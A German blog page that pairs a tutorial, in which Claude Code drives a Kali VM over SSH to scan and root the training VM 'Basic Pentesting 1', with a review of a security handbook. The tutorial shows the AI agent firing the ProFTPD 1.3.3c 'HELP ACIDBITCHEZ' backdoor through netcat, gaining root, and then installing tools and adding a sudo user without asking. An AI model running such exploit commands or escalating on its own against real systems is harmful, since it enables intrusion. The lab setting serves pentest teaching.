Lese-Ansicht

Hacking / Penetration Testing mit KI-Tools automatisieren

Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, sei es zu Administration von Linux-Rechner, sei es zur Durchführung von Hacking- oder Penetration-Testing-Aufgaben. In diesem Beitrag illustriere ich anhand eines Beispiels das sich daraus ergebende Potenzial.

Entgegen landläufiger Meinung brauchen Sie zum Hacking per KI keinen MCP-Server! Ja, es gibt diverse MCP-Server, mit denen Sie bash- oder SSH-Kommandos ausführen bzw. Hacking-Tools steuern können, z.B. ssh-mcp, mcp-kali-server oder hexstrike-ai. Aber sofern Ihr KI-Tool sowieso Kommandos via SSH ausführen kann, bieten derartige MCP-Server wenig nennenswerte Vorteile.

Setup auf einem Fedora-Rechner mit zwei virtuellen Maschinen und lokaler Claude-Code-Installation

Setup

Als Ausgangspunkt für dieses Beispiel dient ein KI-Tool mit CLI (Command Line Interface), z.B. Claude Code, Codex CLI, Gemini CLI oder GitHub Copilot CLI. Ebenso geeignet sind Open-Source-Tools wie Aider oder Goose, die mit einem lokalen Sprachmodell verbunden werden können.

Ich habe für meine Tests Claude Code auf einem Linux-Rechner (Fedora) installiert. Claude Code erfordert ein Claude-Abo oder einen API-Zugang bei Anthropic.

Außerdem habe ich zwei virtuelle Maschinen eingerichtet (siehe den obigen Screenshot). Dort läuft einerseits Kali Linux (Hostname kali) und andererseits Basic Pentesting 1 (Hostname vtcsec). Basic Pentesting 1 ist ein in der Security-Ausbildung beliebtes System mit mehreren präparierten Sicherheitslücken.

Für das Netzworking habe ich der Einfachheit halber beide virtuellen Maschinen einer Bridge zugeordnet, so dass sich diese quasi im lokalen Netzwerk befinden. Sicherheitstechnisch für diese Art von Tests wäre es vernünftiger, Kali Linux zwei Netzwerkadapter zuzuweisen, einen für den Zugang zum Hostrechner (Fedora) und einen zweiten für ein internes Netzwerk. Das Target-System (hier Basic Pentesting 1) bekommt nur Zugang zum internen Netzwerk. Damit kann Kali Linux mit dem Target-System kommunizieren, aber es gibt keine Netzwerkverbindung zwischen dem Target-System und dem Host-Rechner oder dem lokalen Netzwerk.

In Kali Linux habe ich den Benutzer aiadmin eingerichtet. Dieser darf per sudo alle Kommandos ohne Passwort ausführen:

# in /etc/sudoers auf Kali Linux
aiadmin ALL=(ALL) NOPASSWD: ALL

Auf dem lokalen Rechner (Fedora) kümmert sich .ssh/config darum, dass aiadmin der Default-User für SSH-Verbindungen ist.

# Datei .ssh/config auf dem lokalen Rechner
Host kali
  User aiadmin

Damit der SSH-Login bei Kali Linux ohne Passwort funktioniert, habe ich einen SSH-Key eingerichtet:

fedora$ ssh-copy-id aiadmin@kali

Sobald das funktioniert, habe ich den interaktiven Login für aiadmin gesperrt (Option -l wie lock).

kali$ sudo passwd -l aiadmin

Der privilegierte Benutzer aiadmin kann jetzt also NUR noch per SSH-Key-Login genutzt werden.

Alternatives Setup Bei diesem Setup gibt es eine logische Barriere zwischen unserem Arbeitsrechner mit diversen Entwickler- und KI-Tools und Kali Linux. Wenn Sie im Security-Umfeld arbeiten, ist es naheliegen, Claude Code oder ein anderes KI-Tool direkt in Kali Linux zu installieren und so den SSH-Umweg einzusparen.

Setup testen

Nun richten Sie ein leeres Projektverzeichnis ein, wechseln dorthin und starten claude. Die beiden ersten Prompts dienen dazu, Claude das Testumfeld zu erklären und dieses auszuprobieren.

> There is a Kali Linux installation with hostname kali. 
  Try to connect via SSH. (OK ...)

> Kali can connect to host vtcsec. This is a VM designated 
  for penetration testing. ping to it! (OK ...)
Erste Prompts um das Setup zu testen

AI Assisted Hacking

Im dritten Prompt geht es richtig los. Claude soll in Kali Linux einen Port Scan für das Pentesting-System durchführen. Dort findet es eine veraltete ProFTPD-Version mit einer bekannten Sicherheitslücke.

> Now do a proper port scan for vtcsec. Find out what 
  software is running.


  (...) Here's what's running on vtcsec:

  Port  Service  Version
  21    FTP      ProFTPD 1.3.3c
  22    SSH      OpenSSH 7.2p2 (Ubuntu)
  80    HTTP     Apache 2.4.18 (Ubuntu)

  OS: Linux 3.x/4.x (Ubuntu), running as a QEMU VM.

  Notable observations:

  - ProFTPD 1.3.3c is a notably old version with 
    known vulnerabilities (including a backdoor in 
    certain distributions).
  - OpenSSH 7.2p2 and Apache 2.4.18 are also outdated versions with known CVEs.
  - Only 3 ports open, 997 closed — a fairly minimal attack surface.
Port-Scan durchführen
> Find exploits for ProFTPD.

  (...) Here are the exploits found for ProFTPD 1.3.3:

  Exploit
  ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) Telnet IAC Buffer Overflow
  ProFTPd 1.3.2rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow
  ProFTPd 1.3.3c - Compromised Source Backdoor
  ProFTPd IAC 1.3.x - Remote Command Execution
  ProFTPd 1.3.3c - Backdoor Command Execution (Metasploit)

  The most relevant one is the backdoor in ProFTPD 1.3.3c - 
  this is the infamous incident where the ProFTPD source code
  was compromised, and a backdoor was inserted. It allows remote 
  command execution by sending HELP ACIDBITCHEZ to the FTP service. 
  There's both a manual exploit and a Metasploit module available.

  Want me to try the backdoor exploit against vtcsec?

Wir wollen nun die gefundene Backdoor nutzen. Der erste Exploit-Versuch scheitert, aber bereits im zweiten Versuch kann Claude die Backdoor in ProFTPD ausnutzen und erreicht root-Rechte.

> Yes, try it!

  Bash(ssh kali "searchsploit -x linux/remote/15662.txt")
  Exploit: ProFTPd 1.3.3c - Compromised Source Backdoor 
                            Remote Code Execution
  URL:  https://www.exploit-db.com/exploits/15662
  Path: /usr/share/exploitdb/exploits/linux/remote/15662.txt

  Bash(ssh kali 'echo -e "HELP ACIDBITCHEZ\nid\nhostname
               \nuname -a\nexit\n" | nc -w 5 vtcsec 21')

  The simple netcat approach didn't return command output. 
  Let me try with a proper interactive approach using Metasploit 
  or a Python script.

  Bash(ssh kali 'python3 -c " ..." ')
  Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.178.48]
  Response: uid=0(root) gid=0(root) groups=0(root)...
  Response: vtcsec
  Response: Linux vtcsec 4.10.0-28-generic

  The backdoor exploit worked. Here's what we got:

  - Access level: uid=0(root) — full root access
  - Hostname: vtcsec
  - Kernel: Linux 4.10.0-28-generic (Ubuntu 16.04)

  The HELP ACIDBITCHEZ backdoor in ProFTPD 1.3.3c gave an unauthenticated
  remote root shell with zero effort — no credentials, no authentication, 
  just a single FTP command.  Want me to explore the system further or move 
  on to testing the other services?
ProFTPD-Backdoor ausnutzen

Mit den nun erworbenen root-Rechten soll Claude einen neuen Benutzer mit sudo-Rechten einzurichten. Wiederum scheitert der erste Versuch, weil das Kommando sshpass auf Kali Linux nicht installiert ist. Claude lässt sich davon nicht beirren: Ohne weitere Rückfragen installiert es das fehlende Kommando, richtet den neuen Benutzer ein und verifiziert dessen Funktionsweise. Grandios!

Neuen Benutzer mit sudo-Rechten einrichten

Anmerkungen

Bemerkenswert an diesem Beispiel ist, dass ich Claude nie mitgeteilt habe, wie es vorgehen soll bzw. mit welchen Hacking-Tool es arbeiten soll. Claude hat selbstständig den Port-Scan mit nmap durchgeführt, mit metasploit nach einem Exploit gesucht und diesen angewendet.

Auch wenn das obige Beispiel einen erfolgreichen Einbruch skizziert, wird Hacking mit KI-Unterstützung nicht automatisch zum Kinderspiel. Hier habe ich die Richtung vorgegeben. Wenn Sie dem KI-Tool freie Hand lassen (Prompt: »Get me root access on vtcsec«), führt es den Portscan möglicherweise zuwenig gründlich durch und übersieht den ProFTPD-Server, der in diesem Fall beinahe eine Einladung zum Hacking darstellt. Stattdessen konzentriert sich das Tool darauf, SSH-Logins zu erraten oder Fehler in der Konfiguration des Webservers zu suchen. Das sind zeitaufwändige Prozesse mit nur mäßiger Erfolgswahrscheinlichkeit.

Fakt bleibt, dass die KI-Unterstützung den Zeitaufwand für Penetration Tester erheblich senken kann — z.B. wenn es darum geht, mehrere Server gleichzeitig zu überprüfen. Umgekehrt macht die KI das Hacking für sogenannte »Script Kiddies« leichter denn je. Das ist keine erfreuliche Perspektive …

Quellen, Links

MCP-Server (optional für KI-Tools, die keinen direkten Kommandoaufruf ermöglichen)

  •  

Hacking & Security: Das umfassende Handbuch

Hacking & Security: Das umfassende Handbuch“ von Michael Kofler, Roland Aigner, Klaus Gebeshuber, Thomas Hackner, Stefan Kania, Frank Neugebauer, Peter Kloep, Tobias Scheible, Aaron Siller, Matthias Wübbeling, Paul Zenker und André Zingsheim ist 2025 in der 4., aktualisierten und erweiterten Auflage im Rheinwerk Verlag erschienen und umfasst 1271 Seiten.

Ein Buchtitel, der bereits im Namen zwei gegensätzliche Extreme vereint: Hacking und Security. Dieser Lesestoff richtet sich nicht an ein breites Publikum, wohl aber an all jene, die Wert auf digitale Sicherheit legen – sei es im Internet, auf Servern, PCs, Notebooks oder mobilen Endgeräten. Gleichzeitig kann dieses umfassende Nachschlagewerk auch als Einstieg in eine Karriere im Bereich Ethical Hacking dienen.

Das Buch ist in drei inhaltlich spannende und klar strukturierte Teile gegliedert.

TEIL I – Einführung und Tools erläutert, warum es unerlässlich ist, sich sowohl mit Hacking als auch mit Security auseinanderzusetzen. Nur wer versteht, wie Angreifer vorgehen, kann seine Systeme gezielt absichern und Sicherheitsmaßnahmen umsetzen, die potenzielle Angriffe wirksam abwehren.

Behandelt werden unter anderem praxisnahe Übungsmöglichkeiten sowie Penetrationstests auf speziell dafür eingerichteten Testsystemen. Ziel ist es, typische Angriffsabläufe nachzuvollziehen und daraus wirksame Schutzkonzepte abzuleiten. Einen zentralen Stellenwert nimmt dabei das speziell für Sicherheitsanalysen entwickelte Betriebssystem Kali Linux ein, das in diesem Zusammenhang ausführlich vorgestellt wird.

Kali Linux – Simulation eines erfolgreichen Angriffs auf SSH
Kali Linux – Simulation eines erfolgreichen Angriffs auf SSH

TEIL II – Hacking und Absicherung widmet sich intensiv den beiden zentralen Themenbereichen Hacking und Security. Es werden unterschiedliche Angriffsszenarien analysiert und typische Schwachstellen aufgezeigt. Besonders hervorgehoben wird dabei die Bedeutung der Festplattenverschlüsselung, um den unbefugten Zugriff auf sensible Daten zu verhindern.

Auch der Einsatz starker Passwörter in Kombination mit Zwei-Faktor-Authentifizierung (2FA) gehört heute zum Sicherheitsstandard. Dennoch lauern Gefahren im Alltag: Wird ein Rechner unbeaufsichtigt gelassen oder eine Sitzung nicht ordnungsgemäß beendet, kann etwa ein präparierter USB-Stick mit Schadsoftware gravierende Schäden verursachen.

Server-Betreiber stehen zudem unter permanentem Druck durch neue Bedrohungen aus dem Internet. Das Buch bietet praxisnahe Anleitungen zur Härtung von Windows- und Linux-Servern – beispielsweise durch den Einsatz von Tools wie Fail2Ban, das automatisiert Brute-Force-Angriffe erkennt und unterbindet.

Ein weiteres Kernthema ist die Verschlüsselung von Webverbindungen. Moderne Browser weisen inzwischen deutlich auf unsichere HTTP-Verbindungen hin. Die Übertragung sensibler Daten ohne HTTPS birgt erhebliche Risiken – etwa durch Man-in-the-Middle-Angriffe, bei denen Informationen abgefangen oder manipuliert werden können.

Man-in-the-Middle-Angriff

Abgerundet wird das Kapitel durch eine ausführliche Betrachtung von Angriffsmöglichkeiten auf weit verbreitete Content-Management-Systeme (CMS) wie WordPress, inklusive praxisnaher Hinweise zur Absicherung.

TEIL III – Cloud, Smartphones, IoT widmet sich der Sicherheit von Cloud-Systemen, mobilen Endgeräten und dem Internet of Things (IoT). Unter dem Leitsatz „Die Cloud ist der Computer eines anderen“ wird aufgezeigt, wie stark Nutzerinnen und Nutzer bei der Verwendung externer Dienste tatsächlich abhängig sind. Besonders bei Cloud-Angeboten amerikanischer Anbieter werden bestehende geopolitische Risiken oft unterschätzt – obwohl sie spätestens seit den Enthüllungen von Edward Snowden nicht mehr zu ignorieren sind.

Selbst wenn Rechenzentren innerhalb Europas genutzt werden, ist das kein Garant für Datenschutz. Der Zugriff durch Dritte – etwa durch Geheimdienste – bleibt unter bestimmten Umständen möglich. Als datenschutzfreundliche Alternative wird in diesem Kapitel Nextcloud vorgestellt: ein in Deutschland entwickeltes Cloud-System, das sich auf eigenen Servern betreiben lässt. Hinweise zur Installation und Konfiguration unterstützen den Einstieg in die selbstbestimmte Datenverwaltung.

Wer sich für mehr digitale Souveränität entscheidet, übernimmt zugleich Verantwortung – ein Aspekt, dem im Buch besondere Aufmerksamkeit gewidmet wird. Ergänzend werden praxisnahe Empfehlungen zur Absicherung durch Zwei- oder Multi-Faktor-Authentifizierung (2FA/MFA) gegeben.

Ein weiteres Thema sind Sicherheitsrisiken bei mobilen Geräten und IoT-Anwendungen. Besonders kritisch: schlecht gewartete IoT-Server, die oft im Ausland betrieben werden und ein hohes Angriffspotenzial aufweisen. Auch hier werden konkrete Gefahren und Schutzmaßnahmen anschaulich dargestellt.

Das Buch umfasst insgesamt 24 Kapitel.

  • Einführung
  • Kali Linux
  • Hacking-Tools
  • Hacking lernen
  • Bug-Bounty-Programme
  • Offline Hacking
  • Passwörter
  • IT-Forensik
  • WLAN, Bluetooth und SDR
  • Angriffsvektor USB-Schnittstelle
  • Externe Sicherheitsüberprüfungen
  • Penetration-Testing
  • Windows Server absichern
  • Active Directory
  • Linux absichern
  • Sicherheit bei Samba-Fileservern
  • Sicherheit von Webanwendungen
  • Intrusion-Detection-Systeme
  • Software-Exploitation
  • Sichere KI-Anwendungen
  • Sicherheit in der Cloud
  • Microsoft 365 sicher betreiben
  • Mobile Security
  • IoT-Sicherheit

Leseprobe

Fazit

Das Buch bietet einen fundierten und praxisnahen Einstieg in die Welt von IT-Sicherheit und Hacking. Es richtet sich gleichermaßen an interessierte Einsteiger als auch an fortgeschrittene Anwender, die ihre Kenntnisse vertiefen möchten. Besonders gelungen ist die Verbindung technischer Grundlagen mit konkreten Anwendungsszenarien – vom Einsatz sicherer Tools über das Absichern von Servern bis hin zur datenschutzfreundlichen Cloud-Lösung.

Wer sich ernsthaft mit Sicherheitsaspekten in der digitalen Welt auseinandersetzen möchte, findet in diesem Werk einen gut strukturierten Leitfaden, der nicht nur Wissen vermittelt, sondern auch zum eigenständigen Handeln motiviert. Ein empfehlenswertes Nachschlagewerk für alle, die digitale Souveränität nicht dem Zufall überlassen wollen.

Der Beitrag Hacking & Security: Das umfassende Handbuch erschien zuerst auf intux.de.

  •  
❌